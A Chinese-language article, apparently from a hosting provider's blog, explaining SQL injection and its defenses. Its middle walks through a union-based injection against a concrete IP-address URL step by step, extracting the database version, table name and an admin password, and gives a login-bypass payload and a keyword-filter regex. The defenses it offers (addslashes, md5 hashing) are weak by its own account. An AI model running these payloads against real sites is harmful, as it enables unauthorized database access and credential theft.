网盾IDC:什么是SQL注入,如何防护它?
lipiwang 2024-11-12 13:13 8 浏览 0 评论
什么是SQL
SQL是一种运用数据库数据、用于访问和处理数据库的标准的计算机语言。
简言之,SQL是一种结构化查询语言,使我们有能力访问和操作数据库。SQL 语句用于取回和更新数据库中的数据,可与数据库程序协同工作,比如 MS SQL Server、MS Access、Informix、DB2、Sybase 、Oracle以及其他数据库系统。
一般来说,我们会用SQL做:创建新数据库、更新数据库中的数据、面向数据库执行查询、
从数据库取回数据、从数据库删除记录、在数据库中插入新的记录、在数据库中创建存储过程、
在数据库中创建新表、设置表、存储过程和视图的权限,甚至能够在数据库中创建视图。
SQL注入:
一些黑客便利用SQL的这个特性,试图侵入数据库来控制目标主机或从中获得想要的资料。
他们将Web页面的表单域、原URL或数据包输入的参数修改拼接成SQL语句传递给Web服务器,由此传给数据库服务器以执行数据库命令。如果Web应用程序的开发人员不验证或过滤用户所输入的Cookie和数据内容就直接传输给数据库就可能导致这段SQL命令被执行,从而获取数据库权限。
原理:
假如以上这个介绍并不足以支持你了解整个SQL注入的过程,那么接下来你就能了解黑客是利用SQL、通过哪种方式来进入目标服务器的数据库从而进行控制的。
首先,SQL注入能使黑客绕过认证机制,远程进入目标服务器中的数据库从而控制它。
目前,大多数Web应用都使用SQL数据库来存放程序数据,而几乎所有的Web应用在后台都使用某种SQL数据库。
和大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起;通常黑客们会访问有SQL注入漏洞的网站,寻找注入点;在找到漏洞之后,构造语句注入程序中,与程序里的SQL语句结合生成新的SQL语句;紧接着新的SQL语句被提交到新数据库中进行处理,数据库执行此段SQL语句后引发SQL注入攻击。
SQL注入有两种形式。
一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法;
二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。
以直接将代码插入到SQL命令串的攻击方式为例,在输入用户访问数据的时候,先用一个分号结束当前的语句,然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记"一"来终止注入的字符串;执行时,系统会将此文本理解为语句注释,因此不执行编译后续文本。
导致SQL注入的原因:
1、 再精致的网页都存在漏洞,而动态网页以及脚本编程学起来比较容易,这就相对导致了很多经验水平不够的程序员做动态网站,编写的代码存在一些漏洞,这些漏洞为攻击者提供了捷径。
2、程序或系统对用户输入的参数不进行检查和过滤,没有对用户输入数据的合法性进行判断,或者程序中本身的变量处理不当,使应用程序存在安全隐患。
3、因为 SQL 注入是从正常的 www端口访问,主要是针对 web 应用程序提交数据库查询请求的攻击,与正常的用户访问没有什么区别,所以能够轻易地绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的访问权限。
或者说,正因为SQL注入的成本低,因此企业常常会对自己的网站和后台数据库被轻而易举地入侵而烦恼,这也成为了云WAF、高防IP不同于高防服务器的特殊之处,也是高防IP价格比较昂贵的原因:能够防止网页篡改,抵御Web攻击。
SQL注入攻击与防御
在 http://120.203.13.75:6815/?id=1 目标站点页面发现了?id,说明可以通过查询id=1的内容来获得页面。
查询语句select * from [表名] where id = '1';
在http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为select * from 表名 where id =1';此时SQL 语句未正确结束,因此返回了一个错误页面:
继续测试 and 1=1 和 and 1=2:http://120.203.13.75:6815/?id=1 and 1=1
这相当于SQL查询语句select * from 表名 where id =1 and 1=1;
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面:
http://120.203.13.75:6815/?id=1 and 1=2,相当于SQL查询语句select select * from 表名 where id =1 and 1=2;
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误:
说明 SQL 语句被执行,程序没有对敏感字符进行过滤。
现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
现在判断数据库类型以及版本,构造语句:发现返回正常页面,说明数据库是 MySQL,并且版本支持Union查询且大于4.0,反之则为4.0以下版本或者其他类型数据库。
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
http://120.203.13.75:6815/?id=1 order by 10相当于SQL查询语句select * from [表名] where id =1 order by 10;
跳转错误,说明字段小于10
输入SQL查询语句select * from [表名] where id =1 order by 2;返回正常页面,说明字段为2。
确定字段之后,现在要构造联合查询语句 (union select)http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。
查询数据库版本http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() ,得到结果为版本号 5.5.53:
现在把 2 替换掉,先查询数据库名称,构造http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()语句,浏览器跳转返回就能够说明这个网站的数据库名称了;此时再用同样的手法查询表名,当浏览器返回admin时,说明表名为admin:
猜测密码字段,构造http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin语句,
返回成功,说明密码字段名称为Password、登录密码为hellohack。
进行 SQL注入时一般会采取手工注入或者工具注入两种方法,其总体思路是∶
(1) 扫描目标网络信息(判断是否存在SQL注入漏洞);
(2) 判断后台数据库类型;
(3) 找到Web虚拟目录;
(4) 上传ASP木马;
(5) 获取管理员权限。
以下是一段普普通通的登录演示代码,该脚本需要Username和Password两个参数,该脚本中SQL语句没有任何过滤,注入起来非常容易:
针对上面的代码进行SQL注入,在表单中username的输入框中输入'or 1=1--,这样的话,SQL语句就变成了select * from users where username=''or''=' and password=''or''='' limit 1。除了这条Payload之外,还有很多其他的Payload可用。
上述代码在进行查询时同时查询了Username和Password,查询时用户能操作的参数越多、不确定性就越大。可以换一种思路,查询时拼接的字符串只用到主键Username,后面再检查Password和数据库中的是否一致。即可以调整查询的结构,减少用户可控的参数拼接。
数据库中密码明文不太好,顺便用md5处理一下,加可以防止数据库被黑导致敏感信息泄漏。
这样做的话如果继续用username='or''='显然是不可以了,除非你知道数据库中第一个用户的密码。但是毕竟还是可以破解,因此可以在借助过滤函数来帮忙。
在这个例子中,由于Username参数两侧是单引号,如果构造SQL注入一定需要加入额外的单引号来破坏原语句,所以可以直接借助addslashes()函数将Username中的单引号转义。
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
在这个最简单的例子中,经过这样简单的修改似乎已经没有办法注入了。
之前提到了过滤函数,用到的是PHP自带的转义函数,但是这个有时候是不够用的,这种情况下可以自定义过滤函数:常见的过滤手段就是限制关键字,通过正则实现。
以下是节选的某CTF赛题中的一段代码,CTF中经常使用留有余地的过滤函数,让选手可以进行SQL注入。
该段代码中限制了select,insert等很多关键字,对防止SQL注入有一定效果但有缺陷,如果考虑的不太全还是会被注入,过滤函数设置的对关键词过于敏感会让很多正常信息的查询也变得不易。
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
相关推荐
- 前端入门——css 网格轨道详细介绍
-
上篇前端入门——cssGrid网格基础知识整体大概介绍了cssgrid的基本概念及使用方法,本文将介绍创建网格容器时会发生什么?以及在网格容器上使用行、列属性如何定位元素。在本文中,将介绍:...
- Islands Architecture(孤岛架构)在携程新版首页的实践
-
一、项目背景2022,携程PC版首页终于迎来了首次改版,完成了用户体验与技术栈的全面升级。作为与用户连接的重要入口,旧版PC首页已经陪伴携程走过了22年,承担着重要使命的同时,也遇到了很多问题:维护/...
- HTML中script标签中的那些属性
-
HTML中的<script>标签详解在HTML中,<script>标签用于包含或引用JavaScript代码,是前端开发中不可或缺的一部分。通过合理使用<scrip...
- CSS 中各种居中你真的玩明白了么
-
页面布局中最常见的需求就是元素或者文字居中了,但是根据场景的不同,居中也有简单到复杂各种不同的实现方式,本篇就带大家一起了解下,各种场景下,该如何使用CSS实现居中前言页面布局中最常见的需求就是元...
- CSS样式更改——列表、表格和轮廓
-
上篇文章主要介绍了CSS样式更改篇中的字体设置Font&边框Border设置,这篇文章分享列表、表格和轮廓,一起来看看吧。1.列表List1).列表的类型<ulstyle='list-...
- 一文吃透 CSS Flex 布局
-
原文链接:一文吃透CSSFlex布局教学游戏这里有两个小游戏,可用来练习flex布局。塔防游戏送小青蛙回家Flexbox概述Flexbox布局也叫Flex布局,弹性盒子布局。它决定了...
- css实现多行文本的展开收起
-
背景在我们写需求时可能会遇到类似于这样的多行文本展开与收起的场景:那么,如何通过纯css实现这样的效果呢?实现的难点(1)位于多行文本右下角的展开收起按钮。(2)展开和收起两种状态的切换。(3)文本...
- css 垂直居中的几种实现方式
-
前言设计是带有主观色彩的,同样网页设计中的css一样让人摸不头脑。网上列举的实现方式一大把,或许在这里你都看到过,但既然来到这里我希望这篇能让你看有所收获,毕竟这也是前端面试的基础。实现方式备注:...
- WordPress固定链接设置
-
WordPress设置里的最后一项就是固定链接设置,固定链接设置是决定WordPress文章及静态页面URL的重要步骤,从站点的SEO角度来讲也是。固定链接设置决定网站URL,当页面数少的时候,可以一...
- 面试发愁!吃透 20 道 CSS 核心题,大厂 Offer 轻松拿
-
前端小伙伴们,是不是一想到面试里的CSS布局题就发愁?写代码时布局总是对不齐,面试官追问兼容性就卡壳,想跳槽却总被“多列等高”“响应式布局”这些问题难住——别担心!从今天起,咱们每天拆解一...
- 3种CSS清除浮动的方法
-
今天这篇文章给大家介绍3种CSS清除浮动的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。首先,这里就不讲为什么我们要清楚浮动,反正不清除浮动事多多。下面我就讲3种常用清除浮动的...
- 2025 年 CSS 终于要支持强大的自定义函数了?
-
大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发!1.什么是CSS自定义属性CSS自...
- css3属性(transform)的一个css3动画小应用
-
闲言碎语不多讲,咱们说说css3的transform属性:先上效果:效果说明:当鼠标移到a标签的时候,从右上角滑出二维码。实现方法:HTML代码如下:需要说明的一点是,a链接的跳转需要用javasc...
- CSS基础知识(七)CSS背景
-
一、CSS背景属性1.背景颜色(background-color)属性值:transparent(透明的)或color(颜色)2.背景图片(background-image)属性值:none(没有)...
- CSS 水平居中方式二
-
<divid="parent"><!--定义子级元素--><divid="child">居中布局</div>...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- maven镜像 (69)
- undefined reference to (60)
- zip格式 (63)
- oracle over (62)
- date_format函数用法 (67)
- 在线代理服务器 (60)
- shell 字符串比较 (74)
- x509证书 (61)
- localhost (65)
- java.awt.headless (66)
- syn_sent (64)
- settings.xml (59)
- 弹出窗口 (56)
- applicationcontextaware (72)
- my.cnf (73)
- httpsession (62)
- pkcs7 (62)
- session cookie (63)
- java 生成uuid (58)
- could not initialize class (58)
- beanpropertyrowmapper (58)
- word空格下划线不显示 (73)
- jar文件 (60)
- jsp内置对象 (58)
- makefile编写规则 (58)